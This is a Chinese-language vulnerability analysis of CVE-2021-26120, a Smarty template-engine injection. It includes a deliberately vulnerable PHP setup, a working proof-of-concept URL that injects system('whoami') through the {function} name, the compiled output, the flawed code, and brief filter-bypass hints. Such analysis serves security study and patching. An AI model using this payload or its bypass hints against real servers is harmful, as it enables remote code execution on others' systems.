CVE-2021-26120一波潦草的分析
字数 1096 2025-08-29 08:32:18
Smarty模板注入漏洞分析 (CVE-2021-26120)
漏洞概述
CVE-2021-26120是Smarty模板引擎中的一个远程代码执行漏洞,影响Smarty 3.1.38及以下版本。该漏洞允许攻击者通过精心构造的模板函数名称注入恶意PHP代码,导致服务器端任意代码执行。
漏洞原理
模板编译机制
Smarty模板引擎的工作流程:
- 当访问模板文件时,Smarty会根据模板内容生成对应的PHP编译文件
- 生成的编译文件存储在
templates_c/目录下 - 后续相同请求直接调用已编译文件,否则重新编译
漏洞触发点
漏洞存在于{function}标签的处理过程中,当处理函数名称时未进行充分过滤,导致攻击者可以注入任意PHP代码。
漏洞复现
环境搭建
测试环境配置:
<?php
error_reporting(0);
include_once('./libs/Smarty.class.php');
$smarty = new Smarty();
$my_security_policy = new Smarty_Security($smarty);
$my_security_policy->php_functions = null;
$my_security_policy->php_handling = Smarty::PHP_REMOVE;
$my_security_policy->php_modifiers = null;
$my_security_policy->static_classes = null;
$my_security_policy->allow_super_globals = false;
$my_security_policy->allow_constants = false;
$my_security_policy->allow_php_tag = false;
$my_security_policy->streams = null;
$my_security_policy->php_modifiers = null;
$smarty->enableSecurity($my_security_policy);
$smarty->display("string:".$_GET['juju']);
POC分析
基础测试POC:
/?juju={function+name=test}{/function}
生成的编译文件内容:
function smarty_template_function_test_8448067526245a2812ef2c6_13818238(Smarty_Internal_Template $_smarty_tpl,$params) {
foreach ($params as $key => $value) {
$_smarty_tpl->tpl_vars[$key] = new Smarty_Variable($value, $_smarty_tpl->isRenderingCache);
}
}
恶意POC:
/?juju={function+name='rce(){};system("whoami");function '}{/function}
生成的恶意编译文件内容:
function smarty_template_function_rce(){};system("whoami");function _20858581166245a35986de39_17347318(Smarty_Internal_Template $_smarty_tpl,$params) {
foreach ($params as $key => $value) {
$_smarty_tpl->tpl_vars[$key] = new Smarty_Variable($value, $_smarty_tpl->isRenderingCache);
}
}
攻击原理
- 通过
{function}标签注入恶意代码到函数名中 - 使用
{};结束前面的函数定义 - 使用
function使后续字符串成为新函数名 - 中间的代码会被作为独立PHP代码执行
代码分析
关键处理流程
-
模板渲染入口:
display()->_execute()->createTemplate()render()->compiled->render()->process()
-
编译过程:
compileTemplateSource(): 编译模板源文件loadCompiledTemplate(): 加载编译后的模板
-
函数标签处理:
doCompile()->doParse()->callTagCompiler()- 对于
{function}标签,调用smarty_internal_compile_function.php中的编译方法
漏洞关键点
在smarty_internal_compile_function.php中,函数名称($_name)未经充分过滤直接拼接进生成的PHP代码:
// 原始代码
$_name = trim($_attr['name'], "'\"");
// ...
$output .= "function smarty_template_function_{$_name}";
修复方案
官方修复方法是对函数名称进行更严格的过滤,防止注入恶意代码。
绕过技巧
在实际利用中,可能需要绕过以下限制:
- 修改后的正则过滤:可通过换行符绕过
open_basedir限制:需要特定技巧绕过
参考链接
总结
CVE-2021-26120展示了模板引擎在处理用户输入时的危险性,特别是在名称/标识符处理环节。开发人员应确保对所有用户提供的输入进行严格过滤,特别是在会直接影响到代码生成的场景中。